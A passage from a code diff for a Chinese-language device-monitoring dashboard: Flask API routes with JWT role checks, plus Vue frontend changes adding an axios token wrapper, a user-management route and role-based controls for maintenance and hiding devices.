except Exception as e:
|
||||
db.session.rollback()
|
||||
return jsonify({'code': 500, 'message': str(e)})
|
||||
|
||||
|
||||
@api_bp.route('/update_site', methods=['POST'])
|
||||
@jwt_required()
|
||||
def update_site():
|
||||
if not is_manager(get_jwt_identity()): return jsonify({'code': 403}), 403
|
||||
d = Device.query.filter_by(name=request.get_json().get('name')).first()
|
||||
if d:
|
||||
d.install_site = request.get_json().get('site')
|
||||
db.session.commit()
|
||||
return jsonify({'code': 200})
|
||||
return jsonify({'code': 404})
|
||||
|
||||
|
||||
@api_bp.route('/toggle_maintenance', methods=['POST'])
|
||||
@jwt_required()
|
||||
def toggle_maintenance():
|
||||
if not is_manager(get_jwt_identity()): return jsonify({'code': 403}), 403
|
||||
|
||||
data = request.get_json()
|
||||
d = Device.query.filter_by(name=data.get('name')).first()
|
||||
|
||||
if d:
|
||||
is_maintaining = data.get('is_maintaining')
|
||||
d.is_maintaining = is_maintaining
|
||||
|
||||
# 🟢 [核心修改] 处理维修人名字
|
||||
if is_maintaining:
|
||||
# 开启维修:从前端获取名字 (例如 "张三") 并保存
|
||||
d.maintainer = data.get('maintainer')
|
||||
else:
|
||||
# 结束维修:清空名字
|
||||
d.maintainer = None
|
||||
|
||||
db.session.commit()
|
||||
return jsonify({'code': 200})
|
||||
return jsonify({'code': 404})
|
||||
|
||||
|
||||
@api_bp.route('/toggle_hidden', methods=['POST'])
|
||||
@jwt_required()
|
||||
def toggle_hidden():
|
||||
if not is_admin(get_jwt_identity()): return jsonify({'code': 403}), 403
|
||||
d = Device.query.filter_by(name=request.get_json().get('name')).first()
|
||||
if d:
|
||||
d.is_hidden = request.get_json().get('is_hidden')
|
||||
db.session.commit()
|
||||
return jsonify({'code': 200})
|
||||
return jsonify({'code': 404})
|
||||
8
zhandianxinxi/.idea/.gitignore
generated
vendored
8
zhandianxinxi/.idea/.gitignore
generated
vendored
@ -1,8 +0,0 @@
|
||||
# 默认忽略的文件
|
||||
/shelf/
|
||||
/workspace.xml
|
||||
# 基于编辑器的 HTTP 客户端请求
|
||||
/httpRequests/
|
||||
# Datasource local storage ignored files
|
||||
/dataSources/
|
||||
/dataSources.local.xml
|
||||
@ -1,6 +0,0 @@
|
||||
<component name="InspectionProjectProfileManager">
|
||||
<profile version="1.0">
|
||||
<option name="myName" value="Project Default" />
|
||||
<inspection_tool class="LanguageDetectionInspection" enabled="false" level="WARNING" enabled_by_default="false" />
|
||||
</profile>
|
||||
</component>
|
||||
9
zhandianxinxi/.idea/misc.xml
generated
9
zhandianxinxi/.idea/misc.xml
generated
@ -1,9 +0,0 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="Black">
|
||||
<option name="sdkName" value="Python 3.12 (zhandianxinxi)" />
|
||||
</component>
|
||||
<component name="ProjectRootManager">
|
||||
<output url="file://$PROJECT_DIR$/out" />
|
||||
</component>
|
||||
</project>
|
||||
8
zhandianxinxi/.idea/modules.xml
generated
8
zhandianxinxi/.idea/modules.xml
generated
@ -1,8 +0,0 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="ProjectModuleManager">
|
||||
<modules>
|
||||
<module fileurl="file://$PROJECT_DIR$/zhandianxinxi.iml" filepath="$PROJECT_DIR$/zhandianxinxi.iml" />
|
||||
</modules>
|
||||
</component>
|
||||
</project>
|
||||
6
zhandianxinxi/.idea/vcs.xml
generated
6
zhandianxinxi/.idea/vcs.xml
generated
@ -1,6 +0,0 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="VcsDirectoryMappings">
|
||||
<mapping directory="$PROJECT_DIR$/.." vcs="Git" />
|
||||
</component>
|
||||
</project>
|
||||
@ -1,9 +0,0 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<module type="PYTHON_MODULE" version="4">
|
||||
<component name="NewModuleRootManager" inherit-compiler-output="true">
|
||||
<exclude-output />
|
||||
<content url="file://$MODULE_DIR$" />
|
||||
<orderEntry type="jdk" jdkName="Python 3.12 (zhandianxinxi)" jdkType="Python SDK" />
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
</component>
|
||||
</module>
|
||||
@ -5,7 +5,7 @@
|
||||
</main>
|
||||
|
||||
<footer class="version-footer">
|
||||
2.1版本 © 2026 Device Monitor
|
||||
2.2版本(权限管理版) © 2026 Device Monitor
|
||||
</footer>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
@ -1,30 +1,18 @@
|
||||
// src/main.js
|
||||
import { createApp } from 'vue'
|
||||
import App from './App.vue' // 引入根组件
|
||||
import router from './router' // 引入路由配置
|
||||
|
||||
// 引入 Element Plus
|
||||
import App from './App.vue'
|
||||
import router from './router'
|
||||
import ElementPlus from 'element-plus'
|
||||
import 'element-plus/dist/index.css'
|
||||
import * as ElementPlusIconsVue from '@element-plus/icons-vue'
|
||||
|
||||
// 引入 JSON 查看器 (用于 DataMonitor 中查看原始数据)
|
||||
import JsonViewer from 'vue-json-viewer'
|
||||
|
||||
const app = createApp(App)
|
||||
|
||||
// 1. 挂载路由
|
||||
app.use(router)
|
||||
|
||||
// 2. 挂载 Element Plus
|
||||
app.use(ElementPlus)
|
||||
|
||||
// 3. 注册所有图标 (方便在各个组件直接使用 <Edit /> 等)
|
||||
for (const [key, component] of Object.entries(ElementPlusIconsVue)) {
|
||||
app.component(key, component)
|
||||
}
|
||||
|
||||
// 4. 挂载 JSON Viewer
|
||||
app.use(JsonViewer)
|
||||
|
||||
// 5. 挂载到 DOM
|
||||
app.mount('#app')
|
||||
|
||||
@ -1,10 +1,11 @@
|
||||
import { createRouter, createWebHistory } from 'vue-router'
|
||||
import { ElMessage } from 'element-plus'
|
||||
|
||||
// 1. 引入登录页面(建议新建 views/Login.vue)
|
||||
// 1. 引入页面组件
|
||||
import Login from '../views/Login.vue'
|
||||
// 2. 首页组件
|
||||
import Dashboard from '../views/Dashboard.vue'
|
||||
// 新增:引入用户管理页面 (确保你在 views 目录下创建了 UserManagement.vue)
|
||||
import UserManagement from '../views/UserManagement.vue'
|
||||
|
||||
const routes = [
|
||||
{
|
||||
@ -19,6 +20,13 @@ const routes = [
|
||||
component: Dashboard,
|
||||
meta: { title: '设备监控总览', requiresAuth: true }
|
||||
},
|
||||
// 新增:用户管理路由
|
||||
{
|
||||
path: '/user-management',
|
||||
name: 'UserManagement',
|
||||
component: UserManagement,
|
||||
meta: { title: '客户权限管理', requiresAuth: true }
|
||||
},
|
||||
{
|
||||
path: '/data-monitor',
|
||||
name: 'CrawledData',
|
||||
@ -32,7 +40,7 @@ const routes = [
|
||||
component: () => import('../views/MaintenanceLogs.vue'),
|
||||
meta: { title: '维修日志中心', requiresAuth: true }
|
||||
},
|
||||
// 捕获所有未定义的路径,跳转回登录页或首页
|
||||
// 捕获所有未定义的路径,跳转回登录页
|
||||
{
|
||||
path: '/:pathMatch(.*)*',
|
||||
redirect: '/'
|
||||
|
||||
59
zhandianxinxi/光谱数据监控/src/utils/request.js
Normal file
59
zhandianxinxi/光谱数据监控/src/utils/request.js
Normal file
@ -0,0 +1,59 @@
|
||||
// src/utils/request.js
|
||||
import axios from 'axios'
|
||||
import { ElMessage } from 'element-plus'
|
||||
|
||||
// 1. 创建 axios 实例
|
||||
const service = axios.create({
|
||||
// 根据环境自动切换前缀,开发环境走 /api,生产环境可能为空
|
||||
baseURL: import.meta.env.DEV ? 'http://127.0.0.1:5000' : '',
|
||||
timeout: 5000 // 请求超时时间
|
||||
})
|
||||
|
||||
// 2. 请求拦截器
|
||||
service.interceptors.request.use(
|
||||
config => {
|
||||
// 在发送请求之前做些什么
|
||||
const token = localStorage.getItem('token')
|
||||
|
||||
// 🛠️ 调试日志:看看发请求时到底带没带 Token
|
||||
// console.log('当前请求:', config.url, '携带Token:', token)
|
||||
|
||||
if (token && token !== 'undefined' && token !== 'null') {
|
||||
config.headers.Authorization = `Bearer ${token}`
|
||||
}
|
||||
return config
|
||||
},
|
||||
error => {
|
||||
console.log(error)
|
||||
return Promise.reject(error)
|
||||
}
|
||||
)
|
||||
|
||||
// 3. 响应拦截器
|
||||
service.interceptors.response.use(
|
||||
response => {
|
||||
return response
|
||||
},
|
||||
error => {
|
||||
console.log('err' + error)
|
||||
if (error.response) {
|
||||
// 如果是 401 或 422,说明 Token 无效或过期
|
||||
if (error.response.status === 401 || error.response.status === 422) {
|
||||
ElMessage.error('登录已过期,请重新登录')
|
||||
|
||||
// 清除本地缓存
|
||||
localStorage.clear()
|
||||
|
||||
// 强制刷新页面,重置路由状态
|
||||
setTimeout(() => {
|
||||
window.location.href = '/'
|
||||
}, 1000)
|
||||
} else {
|
||||
ElMessage.error(error.response.data.message || '请求错误')
|
||||
}
|
||||
}
|
||||
return Promise.reject(error)
|
||||
}
|
||||
)
|
||||
|
||||
export default service
|
||||
@ -9,16 +9,39 @@
|
||||
<el-tag type="info" effect="plain" round size="small">
|
||||
<el-icon><Clock /></el-icon> 更新: {{ lastCheckTime || '...' }}
|
||||
</el-tag>
|
||||
<el-tag :type="roleTagType" effect="dark" round size="small" style="margin-left: 10px;">
|
||||
{{ roleDisplayName }}
|
||||
<span v-if="currentUsername">({{ currentUsername }})</span>
|
||||
</el-tag>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="header-actions">
|
||||
<el-button
|
||||
v-if="isAdmin"
|
||||
type="primary"
|
||||
plain
|
||||
icon="Avatar"
|
||||
@click="goToUserManagement"
|
||||
>
|
||||
用户管理
|
||||
</el-button>
|
||||
|
||||
<el-button type="info" plain icon="Document" @click="openLogCenter(null)">
|
||||
日志
|
||||
日志中心
|
||||
</el-button>
|
||||
<el-button type="warning" plain icon="RefreshRight" :loading="runningTask" @click="runManualMonitor">
|
||||
检测
|
||||
|
||||
<el-button
|
||||
v-if="isAdmin"
|
||||
type="warning"
|
||||
plain
|
||||
icon="RefreshRight"
|
||||
:loading="runningTask"
|
||||
@click="runManualMonitor"
|
||||
>
|
||||
系统检测
|
||||
</el-button>
|
||||
|
||||
<el-button circle icon="Refresh" :loading="loading" @click="fetchData" />
|
||||
|
||||
<div class="divider-mobile"></div>
|
||||
@ -31,7 +54,7 @@
|
||||
</template>
|
||||
|
||||
<div class="status-summary">
|
||||
<el-tag color="#409EFF" effect="dark" class="legend-tag">修</el-tag>
|
||||
<el-tag color="#409EFF" effect="dark" class="legend-tag">修 (维修中)</el-tag>
|
||||
<el-tag color="#F56C6C" effect="dark" class="legend-tag">离线/>7天</el-tag>
|
||||
<el-tag color="#E6A23C" effect="dark" class="legend-tag">滞后1-7天</el-tag>
|
||||
<el-tag color="#FAC858" effect="dark" class="legend-tag" style="color: #333">滞后24h</el-tag>
|
||||
@ -41,13 +64,21 @@
|
||||
<div class="toolbar">
|
||||
<div class="filter-section">
|
||||
<el-radio-group v-model="filters.status" @change="fetchData" size="default">
|
||||
|
||||
<el-radio-button label="all">全部</el-radio-button>
|
||||
|
||||
<el-radio-button label="abnormal" class="red-radio">
|
||||
异常({{ summary.errorCount + summary.warningCount }})
|
||||
</el-radio-button>
|
||||
<el-radio-button label="hidden" class="gray-radio">
|
||||
|
||||
<el-radio-button label="maintenance" class="blue-radio">
|
||||
维修({{ summary.maintenanceCount }})
|
||||
</el-radio-button>
|
||||
|
||||
<el-radio-button v-if="isAdmin" label="hidden" class="gray-radio">
|
||||
回收({{ summary.hiddenCount }})
|
||||
</el-radio-button>
|
||||
|
||||
</el-radio-group>
|
||||
|
||||
<el-input
|
||||
@ -69,14 +100,14 @@
|
||||
:height="tableHeight"
|
||||
:default-sort="{ prop: 'sortHours', order: 'descending' }"
|
||||
>
|
||||
<el-table-column label="状态" width="100" align="center" fixed="left">
|
||||
<el-table-column label="状态" width="160" align="center" fixed="left">
|
||||
<template #default="{ row }">
|
||||
<el-tag v-if="row.is_hidden" color="#909399" effect="dark" style="border:none; color:#fff;">隐藏</el-tag>
|
||||
<el-tag
|
||||
v-else
|
||||
:color="row.statusColor"
|
||||
effect="dark"
|
||||
style="border:none; width: 80px;"
|
||||
style="border:none; min-width: 60px;"
|
||||
:style="{ color: row.statusLabelColor || '#fff' }"
|
||||
>
|
||||
{{ row.statusLabel }}
|
||||
@ -101,7 +132,7 @@
|
||||
|
||||
<el-table-column label="安装地点" min-width="160">
|
||||
<template #default="{ row }">
|
||||
<div v-if="row.isEditingSite" class="editing-cell">
|
||||
<div v-if="row.isEditingSite && canManageDevice" class="editing-cell">
|
||||
<el-input
|
||||
v-model="row.tempSite"
|
||||
size="small"
|
||||
@ -111,9 +142,9 @@
|
||||
placeholder="输入后回车"
|
||||
/>
|
||||
</div>
|
||||
<div v-else class="display-cell" @click="handleEditSite(row)">
|
||||
<span>{{ row.install_site || '点击填写' }}</span>
|
||||
<el-icon class="edit-icon"><EditPen /></el-icon>
|
||||
<div v-else class="display-cell" @click="canManageDevice ? handleEditSite(row) : null" :style="{ cursor: canManageDevice ? 'pointer' : 'default' }">
|
||||
<span>{{ row.install_site || (canManageDevice ? '点击填写' : '-') }}</span>
|
||||
<el-icon v-if="canManageDevice" class="edit-icon"><EditPen /></el-icon>
|
||||
</div>
|
||||
</template>
|
||||
</el-table-column>
|
||||
@ -128,7 +159,9 @@
|
||||
<div v-else-if="!row.isToday" class="status-text slight-warning-text">⚠️ 昨日数据</div>
|
||||
<div v-else class="status-text success-text">✅ 数据最新</div>
|
||||
</div>
|
||||
<div v-else-if="row.is_maintaining" class="status-text maintenance-text">🛠️ 维护中</div>
|
||||
<div v-else-if="row.is_maintaining" class="status-text maintenance-text">
|
||||
🛠️ 工程师介入中
|
||||
</div>
|
||||
</template>
|
||||
</el-table-column>
|
||||
|
||||
@ -136,19 +169,23 @@
|
||||
<template #default="{ row }">
|
||||
<div class="action-group">
|
||||
<template v-if="row.is_hidden">
|
||||
<el-button type="success" plain size="small" icon="RefreshLeft" @click="toggleHidden(row, false)">恢复</el-button>
|
||||
<el-button v-if="isAdmin" type="success" plain size="small" icon="RefreshLeft" @click="toggleHidden(row, false)">恢复</el-button>
|
||||
</template>
|
||||
|
||||
<template v-else>
|
||||
<el-switch
|
||||
v-if="canManageDevice"
|
||||
v-model="row.is_maintaining"
|
||||
inline-prompt
|
||||
active-text="修"
|
||||
inactive-text="行"
|
||||
style="--el-switch-on-color: #409EFF;"
|
||||
style="--el-switch-on-color: #409EFF; margin-right: 8px;"
|
||||
:before-change="() => handleMaintenanceBeforeChange(row)"
|
||||
/>
|
||||
|
||||
<el-button type="primary" link icon="Edit" @click="openLogCenter(row)">日志</el-button>
|
||||
<el-popconfirm title="确定隐藏?" @confirm="toggleHidden(row, true)">
|
||||
|
||||
<el-popconfirm v-if="isAdmin" title="确定隐藏?" @confirm="toggleHidden(row, true)">
|
||||
<template #reference>
|
||||
<el-button type="danger" link icon="Delete">隐藏</el-button>
|
||||
</template>
|
||||
@ -168,9 +205,9 @@
|
||||
<script setup>
|
||||
import { ref, reactive, computed, onMounted, nextTick, onBeforeUnmount } from 'vue'
|
||||
import { useRouter } from 'vue-router'
|
||||
import axios from 'axios'
|
||||
import request from '../utils/request'
|
||||
import { ElMessage, ElMessageBox } from 'element-plus'
|
||||
import { Clock, DataLine, Document, Refresh, EditPen, Search, Edit, RefreshRight, Delete, RefreshLeft, SwitchButton } from '@element-plus/icons-vue'
|
||||
import { Clock, DataLine, Document, Refresh, EditPen, Search, Edit, RefreshRight, Delete, RefreshLeft, SwitchButton, Avatar } from '@element-plus/icons-vue'
|
||||
|
||||
// 引入子组件
|
||||
import DataMonitor from './DataMonitor.vue'
|
||||
@ -184,41 +221,65 @@ const lastCheckTime = ref('')
|
||||
const windowHeight = ref(window.innerHeight)
|
||||
const windowWidth = ref(window.innerWidth)
|
||||
|
||||
// 计算表格高度:手机端预留更多空间给折行的头部
|
||||
// --- 🔐 权限状态管理 ---
|
||||
const userRole = ref('')
|
||||
const currentUsername = ref('')
|
||||
|
||||
const isAdmin = computed(() => userRole.value === 'admin')
|
||||
const isEngineer = computed(() => userRole.value === 'engineer')
|
||||
const isClient = computed(() => userRole.value === 'client')
|
||||
const canManageDevice = computed(() => isAdmin.value || isEngineer.value)
|
||||
|
||||
const roleDisplayName = computed(() => {
|
||||
if (isAdmin.value) return '超级管理员'
|
||||
if (isEngineer.value) return '设备工程师'
|
||||
return '客户/浏览者'
|
||||
})
|
||||
const roleTagType = computed(() => {
|
||||
if (isAdmin.value) return 'danger'
|
||||
if (isEngineer.value) return 'warning'
|
||||
return 'info'
|
||||
})
|
||||
|
||||
const tableHeight = computed(() => {
|
||||
const isMobile = windowWidth.value < 768
|
||||
// 手机端头部元素堆叠,需要减去更多的高度
|
||||
const offset = isMobile ? 380 : 250
|
||||
return windowHeight.value - offset
|
||||
})
|
||||
|
||||
const filters = reactive({ status: 'all', keyword: '' })
|
||||
const API_BASE = import.meta.env.DEV ? 'http://127.0.0.1:5000' : ''
|
||||
|
||||
const dataMonitorRef = ref(null)
|
||||
const maintenanceLogsRef = ref(null)
|
||||
|
||||
// 🟢 统计逻辑
|
||||
const summary = computed(() => {
|
||||
const activeDevices = rawData.value.filter(r => !r.is_hidden)
|
||||
const errors = activeDevices.filter(r => r.statusType === 'error').length
|
||||
const warnings = activeDevices.filter(r => r.statusType === 'warning').length
|
||||
const maintenance = activeDevices.filter(r => r.is_maintaining).length
|
||||
const hidden = rawData.value.filter(r => r.is_hidden).length
|
||||
return { errorCount: errors, warningCount: warnings, hiddenCount: hidden }
|
||||
return { errorCount: errors, warningCount: warnings, hiddenCount: hidden, maintenanceCount: maintenance }
|
||||
})
|
||||
|
||||
const goToUserManagement = () => { router.push('/user-management') }
|
||||
|
||||
const handleLogout = () => {
|
||||
ElMessageBox.confirm('确定退出系统吗?', '提示', { type: 'warning' }).then(() => {
|
||||
localStorage.removeItem('isLoggedIn')
|
||||
localStorage.removeItem('token')
|
||||
localStorage.clear()
|
||||
router.push('/')
|
||||
ElMessage.success('已安全退出')
|
||||
}).catch(() => {})
|
||||
}
|
||||
|
||||
// -----------------------------------------------------
|
||||
// 🟢 数据获取
|
||||
// -----------------------------------------------------
|
||||
const fetchData = async () => {
|
||||
loading.value = true
|
||||
try {
|
||||
const res = await axios.get(`${API_BASE}/api/devices_overview`)
|
||||
const res = await request.get('/api/devices_overview')
|
||||
|
||||
const backendList = res.data.data || res.data
|
||||
const now = new Date()
|
||||
|
||||
@ -239,14 +300,20 @@ const fetchData = async () => {
|
||||
}
|
||||
}
|
||||
|
||||
// 排序优先级
|
||||
let sortHours = diffHours;
|
||||
if (item.is_maintaining) sortHours = Number.MAX_SAFE_INTEGER;
|
||||
else if (item.status === 'offline' || item.status === '已离线') sortHours = 1000000000;
|
||||
else if (!validTime) sortHours = 500000000;
|
||||
|
||||
// 状态标签生成逻辑
|
||||
let statusColor = '#67C23A', statusLabel = '正常', statusType = 'normal', statusLabelColor = '#fff'
|
||||
|
||||
if (item.is_maintaining) {
|
||||
statusColor = '#409EFF'; statusLabel = '维修中'; statusType = 'maintenance';
|
||||
statusColor = '#409EFF';
|
||||
statusType = 'maintenance';
|
||||
const mName = item.maintainer || '';
|
||||
statusLabel = mName ? `维修中 (${mName})` : '维修中';
|
||||
} else if ((item.status === 'offline' || item.status === '已离线') || (!validTime || diffDays > 7)) {
|
||||
statusLabel = '离线/滞后'; statusColor = '#F56C6C'; statusType = 'error';
|
||||
} else if (diffHours > 24) {
|
||||
@ -264,37 +331,61 @@ const fetchData = async () => {
|
||||
rawData.value = processedData
|
||||
lastCheckTime.value = new Date().toLocaleString()
|
||||
} catch (e) {
|
||||
ElMessage.error('获取数据失败')
|
||||
console.error(e)
|
||||
} finally {
|
||||
loading.value = false
|
||||
}
|
||||
}
|
||||
|
||||
const handleDeviceClick = (row) => { if (!row.is_hidden && dataMonitorRef.value) dataMonitorRef.value.open(row) }
|
||||
const openLogCenter = (row) => { if (maintenanceLogsRef.value) maintenanceLogsRef.value.open(row ? { deviceName: row.name } : null) }
|
||||
const runManualMonitor = async () => {
|
||||
runningTask.value = true
|
||||
try {
|
||||
const res = await axios.post(`${API_BASE}/api/run_monitor`)
|
||||
ElMessage.success(res.data.message || '任务启动')
|
||||
setTimeout(() => fetchData(), 3000)
|
||||
} catch (e) { ElMessage.warning('请求频繁') }
|
||||
finally { setTimeout(() => { runningTask.value = false }, 1000) }
|
||||
|
||||
const openLogCenter = (row) => {
|
||||
if (maintenanceLogsRef.value) {
|
||||
maintenanceLogsRef.value.open(row ? { deviceName: row.name } : null)
|
||||
}
|
||||
}
|
||||
|
||||
const runManualMonitor = async () => {
|
||||
if (!isAdmin.value) return ElMessage.warning('权限不足')
|
||||
runningTask.value = true
|
||||
try {
|
||||
const res = await request.post('/api/run_monitor')
|
||||
ElMessage.success(res.data.message || '任务启动')
|
||||
setTimeout(() => fetchData(), 3000)
|
||||
} catch (e) {
|
||||
ElMessage.warning('请求频繁或失败')
|
||||
} finally {
|
||||
setTimeout(() => { runningTask.value = false }, 1000)
|
||||
}
|
||||
}
|
||||
|
||||
// 🟢 筛选逻辑
|
||||
const filteredData = computed(() => {
|
||||
return rawData.value.filter(item => {
|
||||
// 1. 如果选的是“隐藏/回收站”,只显示隐藏设备
|
||||
if (filters.status === 'hidden') return item.is_hidden
|
||||
|
||||
// 2. 对于其他选项,先排除隐藏设备
|
||||
if (item.is_hidden) return false
|
||||
|
||||
// 3. 维修中筛选
|
||||
if (filters.status === 'maintenance') return item.is_maintaining
|
||||
|
||||
// 4. 异常筛选 (包含离线、滞后、微滞后)
|
||||
if (filters.status === 'abnormal') return (item.statusType === 'error' || item.statusType === 'warning' || item.statusType === 'slight-warning')
|
||||
|
||||
// 5. 全部
|
||||
return true
|
||||
}).filter(item => !filters.keyword || item.name.toLowerCase().includes(filters.keyword.toLowerCase()))
|
||||
})
|
||||
|
||||
const handleEditSite = (row) => {
|
||||
if (!canManageDevice.value) {
|
||||
ElMessage.info('您没有修改权限')
|
||||
return
|
||||
}
|
||||
row.tempSite = row.install_site; row.isEditingSite = true
|
||||
nextTick(() => {
|
||||
// 兼容性查找 input
|
||||
const inputs = document.querySelectorAll('.site-input-inner input')
|
||||
if (inputs.length > 0) inputs[inputs.length - 1].focus()
|
||||
})
|
||||
@ -305,23 +396,50 @@ const saveSite = async (row) => {
|
||||
const oldVal = row.install_site; row.install_site = row.tempSite; row.isEditingSite = false
|
||||
if (oldVal === row.tempSite) return
|
||||
try {
|
||||
await axios.post(`${API_BASE}/api/update_site`, { name: row.name, site: row.tempSite })
|
||||
await request.post('/api/update_site', { name: row.name, site: row.tempSite })
|
||||
ElMessage.success('已更新')
|
||||
} catch (e) { row.install_site = oldVal; ElMessage.error('更新失败') }
|
||||
}
|
||||
|
||||
const handleMaintenanceBeforeChange = (row) => {
|
||||
if (!canManageDevice.value) return Promise.reject()
|
||||
|
||||
return new Promise((resolve) => {
|
||||
const newVal = !row.is_maintaining
|
||||
axios.post(`${API_BASE}/api/toggle_maintenance`, { name: row.name, is_maintaining: newVal })
|
||||
.then(() => { row.is_maintaining = newVal; fetchData(); ElMessage.success(newVal ? '已进入维修模式' : '已恢复'); resolve(true) })
|
||||
.catch(() => { ElMessage.error('操作失败'); resolve(false) })
|
||||
const maintainerName = currentUsername.value || '工程师';
|
||||
|
||||
request.post('/api/toggle_maintenance', {
|
||||
name: row.name,
|
||||
is_maintaining: newVal,
|
||||
maintainer: newVal ? maintainerName : null
|
||||
})
|
||||
.then(() => {
|
||||
row.is_maintaining = newVal;
|
||||
row.maintainer = newVal ? maintainerName : null;
|
||||
|
||||
if (newVal) {
|
||||
row.statusColor = '#409EFF';
|
||||
row.statusLabel = `维修中 (${maintainerName})`;
|
||||
row.statusType = 'maintenance';
|
||||
} else {
|
||||
row.statusLabel = '更新中...';
|
||||
}
|
||||
|
||||
ElMessage.success(newVal ? '已进入维修模式' : '已恢复');
|
||||
fetchData();
|
||||
resolve(true)
|
||||
})
|
||||
.catch(() => {
|
||||
ElMessage.error('操作失败');
|
||||
resolve(false)
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
const toggleHidden = async (row, targetState) => {
|
||||
if (!isAdmin.value) return
|
||||
try {
|
||||
await axios.post(`${API_BASE}/api/toggle_hidden`, { name: row.name, is_hidden: targetState })
|
||||
await request.post('/api/toggle_hidden', { name: row.name, is_hidden: targetState })
|
||||
row.is_hidden = targetState; fetchData(); ElMessage.success(targetState ? '已隐藏' : '已恢复')
|
||||
} catch (e) { ElMessage.error('操作失败') }
|
||||
}
|
||||
@ -341,6 +459,8 @@ const updateDimensions = () => {
|
||||
}
|
||||
|
||||
onMounted(() => {
|
||||
userRole.value = localStorage.getItem('role') || 'client'
|
||||
currentUsername.value = localStorage.getItem('username') || ''
|
||||
fetchData()
|
||||
window.addEventListener('resize', updateDimensions)
|
||||
})
|
||||
@ -349,9 +469,8 @@ onBeforeUnmount(() => window.removeEventListener('resize', updateDimensions))
|
||||
|
||||
<style scoped>
|
||||
.dashboard-container { padding: 10px; background: #f5f7fa; min-height: 100vh; box-sizing: border-box; }
|
||||
.main-card { border-radius: 8px; overflow: visible; } /* overflow visible 确保下拉框不被遮挡 */
|
||||
.main-card { border-radius: 8px; overflow: visible; }
|
||||
|
||||
/* 头部布局:默认 flex,手机端会自动调整 */
|
||||
.header-row {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
@ -363,11 +482,9 @@ onBeforeUnmount(() => window.removeEventListener('resize', updateDimensions))
|
||||
.left-panel { display: flex; align-items: center; gap: 10px; flex-wrap: wrap; }
|
||||
.header-actions { display: flex; gap: 8px; flex-wrap: wrap; align-items: center; }
|
||||
|
||||
/* 状态标签区 */
|
||||
.status-summary { margin-bottom: 15px; display: flex; gap: 5px; flex-wrap: wrap; }
|
||||
.legend-tag { font-weight: bold; border: none; font-size: 12px; }
|
||||
|
||||
/* 工具栏区域 */
|
||||
.toolbar {
|
||||
background: #fff;
|
||||
padding: 10px;
|
||||
@ -379,11 +496,20 @@ onBeforeUnmount(() => window.removeEventListener('resize', updateDimensions))
|
||||
display: flex;
|
||||
gap: 10px;
|
||||
align-items: center;
|
||||
flex-wrap: wrap; /* 允许换行 */
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
.search-input { width: 220px; transition: width 0.3s; }
|
||||
|
||||
/* 表格内元素 */
|
||||
/* 🟢 自定义筛选按钮样式,增加辨识度 */
|
||||
.red-radio :deep(.el-radio-button__inner) { color: #F56C6C; }
|
||||
.red-radio.is-active :deep(.el-radio-button__inner) { background-color: #F56C6C; border-color: #F56C6C; color: #fff; box-shadow: -1px 0 0 0 #F56C6C; }
|
||||
|
||||
.blue-radio :deep(.el-radio-button__inner) { color: #409EFF; }
|
||||
.blue-radio.is-active :deep(.el-radio-button__inner) { background-color: #409EFF; border-color: #409EFF; color: #fff; box-shadow: -1px 0 0 0 #409EFF; }
|
||||
|
||||
.gray-radio :deep(.el-radio-button__inner) { color: #909399; }
|
||||
.gray-radio.is-active :deep(.el-radio-button__inner) { background-color: #909399; border-color: #909399; color: #fff; box-shadow: -1px 0 0 0 #909399; }
|
||||
|
||||
.device-name-wrapper { display: flex; align-items: center; gap: 5px; cursor: pointer; }
|
||||
.device-name-wrapper:hover .device-name { color: #409EFF; text-decoration: underline; }
|
||||
.device-name { font-weight: bold; font-size: 14px; color: #303133; }
|
||||
@ -392,41 +518,28 @@ onBeforeUnmount(() => window.removeEventListener('resize', updateDimensions))
|
||||
.error-text { color: #F56C6C; }
|
||||
.warning-text { color: #E6A23C; }
|
||||
.success-text { color: #67C23A; }
|
||||
.maintenance-text { color: #409EFF; }
|
||||
.maintenance-text { color: #409EFF; font-weight: bold; }
|
||||
|
||||
.display-cell { cursor: pointer; padding: 4px 0; display: flex; align-items: center; justify-content: space-between; }
|
||||
.display-cell { padding: 4px 0; display: flex; align-items: center; justify-content: space-between; }
|
||||
.edit-icon { color: #409EFF; margin-left: 5px; }
|
||||
|
||||
/* 颜色行样式 */
|
||||
:deep(.error-row) { background-color: #fef0f0 !important; }
|
||||
:deep(.warning-row) { background-color: #fdf6ec !important; }
|
||||
:deep(.maintenance-row) { background-color: #f0f9ff !important; }
|
||||
:deep(.hidden-row) { background-color: #f4f4f5 !important; color: #909399; }
|
||||
|
||||
/* --- 📱 移动端适配专用 CSS --- */
|
||||
@media screen and (max-width: 768px) {
|
||||
.dashboard-container { padding: 5px; }
|
||||
|
||||
/* 标题和状态堆叠 */
|
||||
.left-panel { width: 100%; justify-content: space-between; margin-bottom: 5px; }
|
||||
.sys-title { font-size: 18px; }
|
||||
|
||||
/* 按钮组撑满 */
|
||||
.header-actions { width: 100%; justify-content: space-between; }
|
||||
.header-actions .el-button { flex: 1; margin-left: 5px !important; margin-right: 5px !important; }
|
||||
|
||||
/* 分隔符 */
|
||||
.divider-mobile { width: 1px; height: 20px; background: #dcdfe6; margin: 0 5px; }
|
||||
|
||||
/* 搜索框独占一行 */
|
||||
.filter-section { justify-content: space-between; }
|
||||
.el-radio-group { width: 100%; display: flex; }
|
||||
.el-radio-button { flex: 1; }
|
||||
:deep(.el-radio-button__inner) { width: 100%; padding: 8px 0; }
|
||||
|
||||
.search-input { width: 100%; margin-top: 5px; }
|
||||
|
||||
/* 隐藏非关键按钮文字,节省空间 */
|
||||
.el-button [class*="el-icon"] + span { display: inline-block; }
|
||||
}
|
||||
</style>
|
||||
|
||||
@ -47,7 +47,14 @@
|
||||
<el-empty
|
||||
v-if="!loading && chartModules.length === 0"
|
||||
:description="emptyText"
|
||||
/>
|
||||
>
|
||||
<template #default>
|
||||
<div>{{ emptyText }}</div>
|
||||
<div style="font-size: 12px; color: #999; margin-top: 5px;" v-if="emptyText.includes('解析失败')">
|
